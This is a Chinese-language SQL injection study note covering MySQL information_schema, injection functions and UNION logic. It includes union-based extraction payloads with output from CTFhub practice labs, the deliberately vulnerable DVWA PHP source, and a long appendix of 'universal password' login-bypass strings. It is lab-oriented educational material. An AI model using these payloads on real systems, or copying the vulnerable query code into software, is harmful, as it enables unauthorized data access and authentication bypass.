SQL_Injection
一、SQL_Injection简介
1、SQL注入简介
SQL注入 即是指 Web应用程序 对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的 SQL语句 ,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
[https://baike.baidu.com/item/sql%E6%B3%A8%E5%85%A5/150289?fr=aladdin]:
2、SQL定义
SQL 是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将 Web 页面的原 URL 、 表单域 或 数据包 输入的参数,修改拼接成 SQL 语句,传递给 Web服务器 ,进而传给数据库服务器以执行数据库命令。如 Web应用程序 的开发人员对用户所输入的 数据 或 cookie 等内容不进行 过滤 或 验证 (即存在注入点)就直接传输给数据库,就可能导致拼接的 SQL 被执行,获取对数据库的信息以及提权,发生 SQL注入 攻击。
3、原理
SQL注入 攻击是通过操作输入来修改 SQL语句 ,用以达到执行代码对 WEB服务器 进行攻击的方法。简单的说就是在 post/get web表单 、输入域名或页面请求的查询字符串中插入 SQL命令 ,最终使Web服务器 执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为 http://www.example.com?test=123 ,此时URL实际向服务器传递了值为 123 的变量 test ,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的 SQL语句 并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造 SQL语句 ,用来创建所需的应用,这种情况下 SQL语句 在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的 SQL语句 ,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。
二、MySQL储备知识
1、information_schema
首先需要知道在 MySQL 5.0 版本之后, MySQL 默认在数据库中存放了一个名为:information_schema 的数据库,在这个数据库中有大概 60 个表,其中我们需要记住的分别是 SCHEMATA 、TABLES , COLUMNS ,这三者的名称、具体作用和需要记录的名称如下:
| 名称 | 作用 | 记录名称 |
|---|---|---|
SCHEMETA |
存储当前用户创建的所有数据库的库名 | SCHEMA_NAME |
TABLES |
存储当前用户创建的所有数据库的库名和表名 | TABLE_SCHEMATABLE_NAME |
COLUMNS |
存储当前用户创建的所有数据库的库名、表名、字段名 | TABLE_SCHEMATABLE_NAMECOLUMN_NAME |
这里举几个简单的例子:
1.1、查看当前 MySQL 中存在的数据库名
这里 schema_name 表示数据库名,information_schema.SCHEMATA 表示数据库中的 SCHEMATA 这个表
mysql> select schema_name from information_schema.SCHEMATA;
+--------------------+
| schema_name |
+--------------------+
| information_schema |
| free_proxy |
| mysql |
| performance_schema |
| proxies |
| python3 |
| shop |
| sys |
| valecalida |
| vulnhub |
+--------------------+
10 rows in set (0.00 sec)
1.2、查看某个数据库中的所有表信息
table_name 表示表名,table_schema 表示数据库名
mysql> select table_name from information_schema.TABLES where table_schema='python3';
+------------+
| table_name |
+------------+
| courses |
| userinfo |
+------------+
2 rows in set (0.00 sec)
1.3、查看指定数据库和表中的字段信息
column_name 表示字段名,table_schema 依旧表示表名,可以看到,下面的内容是把数据库中所有表的字段全部打印出来了
mysql> select column_name from information_schema.columns where table_schema='python3';
+-------------+
| column_name |
+-------------+
| id |
| student |
| class |
| score |
| id |
| name |
| pass |
| address |
| sex |
| age |
+-------------+
10 rows in set (0.00 sec)
分别查看,发现可以对应上
mysql> desc courses;
+---------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------+------------------+------+-----+---------+----------------+
| id | int(11) unsigned | NO | PRI | NULL | auto_increment |
| student | varchar(255) | YES | MUL | NULL | |
| class | varchar(255) | YES | | NULL | |
| score | int(255) | YES | | NULL | |
+---------+------------------+------+-----+---------+----------------+
4 rows in set (0.00 sec)
mysql> desc userinfo;
+---------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------+-------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| name | varchar(30) | YES | | NULL | |
| pass | varchar(32) | YES | | NULL | |
| address | varchar(50) | YES | | NULL | |
| sex | tinyint(2) | YES | | NULL | |
| age | tinyint(3) | YES | | NULL | |
+---------+-------------+------+-----+---------+----------------+
6 rows in set (0.00 sec)
如果只需要查询一个表的话,只需将 table_schema 修改为 table_name 即可
2、常用的函数及运算符
2.1、函数部分
| 函数名称 | 函数功能 |
|---|---|
| system_user() | 查看系统用户名 |
| user() | 用户名 |
| current_user() | 当前用户名 |
| session_user() | 连接到数据库的用户名 |
| database() | 当前数据库名 |
| version() | 数据库版本 |
| @@datadir | 数据路径 |
| @@basedir | 数据库安装路径 |
| @@version_compile_os | 操作系统类型 |
| count(*) | 计算数量 |
| concat() | 指定分隔符连接两列名 |
| concat_ws() | 指定分隔符连接两列名 |
| group_concat() | 默认以逗号连接某列中所有数据 |
| into outfile | 往外写文件 |
| load_file | 读取文件 |
| ascii() | 获取字符的ASCII码值 |
| ord() | 获取字符串中第一个字符的ASCII码值 |
| mid() | 获取字符串中的一部分,共三个参数,需指定位置 |
| substr() | 获取字符串中的一部分,共三个参数,需指定位置 |
| length() | 获取字符串长度 |
| left() | 获取字符串最左边的N个字符,N人为指定 |
| floor() | 返回小于等于N的最大整数 |
| rand() | 返回0到1之间的一个随机数 |
| sleep() | 让此语句运行N秒 |
| if() | if(1>2,2,3)”1>2”为表达式,如果表达式为真,输出第二个参数,否则输出第三个 |
| char() | 将数值返回为ASCII码值 |
| strcmp() | strcmp(‘a’,’b)如果a>b为真则返回1,相同返回0,为假返回-1 |
| ifnull() | 如果第一个值为null,返回第二个值,否则返回第一个值 |
| exp() | 返回e的N次方 |
2.2、运算符部分
2.2.1、算数运算符
| 符号 | 作用 |
|---|---|
| + | 加法运算 |
| - | 减法运算 |
| * | 乘法运算 |
| /、DIV | 除法运算 |
| %、MOD | 求余运算 |
2.2.2、比较运算符
| 符号 | 作用 |
|---|---|
| > | 大于 |
| < | 小于 |
| = | 等于 |
| >= | 大于等于 |
| \<= | 小于等于 |
| !=或<> | 不等于 |
| IS NULL | 为空 |
| IS NOT NULL | 不为空 |
| BETWEEN AND | 在…之间 |
| IN | 包含 |
| NOT IN | 不包含 |
| LIKE | 模式匹配 |
| NOT LIKE | 模式匹配 |
| REGEXP | 正则表达式 |
2.2.3、逻辑运算符
| 符号 | 作用 |
|---|---|
| &&或AND | 与 |
| !或NOT | 非1 |
| ||或OR | 或 |
| XOR | 异或 |
3、从MySQL语句看SQL注入语句
3.1、常见语句逻辑分析
3.1.1、逻辑运算符语句
mysql> select id,name from userinfo where id=1;
+----+--------+
| id | name |
+----+--------+
| 1 | valeca |
+----+--------+
1 row in set (0.00 sec)
mysql> select id,name from userinfo where id=1 and 1=1;
+----+--------+
| id | name |
+----+--------+
| 1 | valeca |
+----+--------+
1 row in set (0.00 sec)
mysql> select id,name from userinfo where id=1 and 1=2;
Empty set (0.00 sec)
当使用语句 select id,name from userinfo where id=1; 时可以清楚的看到该语句执行成功了,当后面追加了 and 1=1 时,本身 1=1 就是真的,所以真与真得真,该语句可以执行成功且有结果;而当追加 and 1=2 时,本身 1=2 就是假的,那么真与假必定为假,所以没有得到输出结果。这里用一个图做直观的认知。
3.1.2、万能密码
这里只分析一个 'or '1'='1 ,下面是自己画的一个理解图
其它还有很多万能密码在附录一中,就不一一解释了,只要能明白逻辑结构就行
3.2、UNION操作符
3.2.1、UNION操作符简介
UNION操作符用于合并两个或多个SELECT语句的结果集。UNION内部的SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时,每条SELECT语句中的列的顺序必须相同。,默认情况下,UNION操作符选取不同的值,如果允许重复的值,可以使用UNION ALL
mysql> select username from users union select password from users;
+------------+
| username |
+------------+
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
| I-kill-you |
| p@ssword |
| crappy |
| stupidity |
| genious |
| mob!le |
| dumbo |
+------------+
20 rows in set (0.00 sec)
这里也尝试查询一下第一列
mysql> select username from users union select username from users;
+----------+
| username |
+----------+
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
+----------+
13 rows in set (0.00 sec)
发现后面的语句相当于没有执行,尝试加上 ALL 关键字
mysql> select username from users union all select username from users;
+----------+
| username |
+----------+
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
+----------+
26 rows in set (0.00 sec)
这时发现 UNION ALL 查询生效了
3.2.1、UNION操作符应用场景
- 只有最后一个SELECT子句允许有ORDER BY
- 只有最后一个SELECT子句允许有LIMIT
- 只要UNION连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
- 注入点页面有回显
3.3、UNION注入方法
三、SQL注入基本流程
1、寻找注入点
四、常见的SQL注入类型浅析
1、整数型注入
2 and 1=2 union select 1,version() --> 10.3.22-MariaDB-0+deb10u1
2 and 1=2 union select 1,database() --> sqli
2 and 1=2 union select 1,user() --> root@localhost
2 and 1=2 union select 1,table_name from information_schema.TABLES where table_schema='sqli' limit 0,1 --> news
2 and 1=2 union select 1,table_name from information_schema.TABLES where table_schema='sqli' limit 1,2 --> flag
2 and 1=2 union select 1,group_concat(table_name) from information_schema.TABLES where table_schema='sqli' --> news,flag
2 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' --> id,data,flag
2 and 1=2 union select 1,flag from sqli.flag --> ctfhub{8e3b9da4a0d6295243d5b20cffaf68839b3f3528}2、字符串注入
3、报错型注入
4、布尔盲注
5、时间盲注
6、MySQL下的其他注入类型
6.1、cookie注入
id=2 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli';
# xeavlaiqoh
2 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli'
#pctvkvzivi
2 and 1=2 union select 1,pctvkvzivi from sqli.xeavlaiqoh;
ctfhub{6de61082991379a8aebb77b64e6b68cf1aeef5d5}2、UA注入
3、Refer注入
4、二次注入
5、Where后注入
6、AND/OR注入
7、ORDER BY注入
8、UPDATE注入
9、Insert注入
10、过滤空格注入
五、案例详解
1、DVWA
1.1、SQLI
1.1.1、Low
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
$i++;
}
mysql_close();
}
?>
1.1.2、Medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
$i++;
}
}
?>
1.1.3、High
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
$i++;
}
mysql_close();
}
?>
附录
附录一、万能密码字典
"or "a"="a
'.).or.('.a.'='.a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
admin'or 1=1#
admin'/*
aaaa*/'
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
"or "a"="a
')or('a'='a
or 1=1–
'or 1=1–
a'or' 1=1–
"or 1=1–
'or'a'='a
"or"="a'='a
'or"='
'or'='or'
1 or '1'='1'=1
1 or '1'='1′ or 1=1
'OR 1=1%00
"or 1=1%00
'xor
admin' or 'a'='a
'or 1=1/*
something
'OR '1'='1
1'or'1'='
admin' OR 1=1/*
' or 1=1#
'=0#
'>-1#
'<1#
1'<99#
'=0=1#
'<=>0#
'=0=1=1=1=1=1#
'=1<>1#
'<>1#
1'<>99999#
'!=2!=3!=4#
'|0#
'&0#
'^0#
'<<0#
'>>0#
'&''#
'%11&1#
'&1&1#
'|0&1#
'<<0|0#
'<<0>>0#
'*9#
'/9#
'%9#
'+0#
'-0#
'+2+5-7#
'+0+0-0#
'-0-0-0-0-0#
'*9*8*7*6*5#
'/2/3/4#
'%12%34%56%78#
'/**/+/**/0#
'-----0#
'+++0+++++0*0#
'<hex(1)#
'=left(0x30,1)#
'=right(0,1)#
'!=curdate()#
'-reverse(0)#
'=ltrim(0)#
'<abs(1)#
'*round(1,1)#
'&left(0,0)#
'*round(0,1)*round(0,1)#
'=upper (0)#
' <1 and 1#
'xor 1#
'div 1#
'is not null#
admin' order by'
admin' group by'
'like 0#
'between 1 and 1#
'regexp 1#
'='
'<>'1
'>1='
0'='0
'<1 and 1>'
'<>ifnull(1,2)='1
'=round(0,1)='1
'*0*'
'+'
'-'
'+1-1-'
'+(0-0)#
'=0<>((reverse(1))-(reverse(1)))#
'<(8*7)*(6*5)*(4*3)#
'&(1+1)-2#
'>(0-100)#
' or 1=1#
' or '
' || '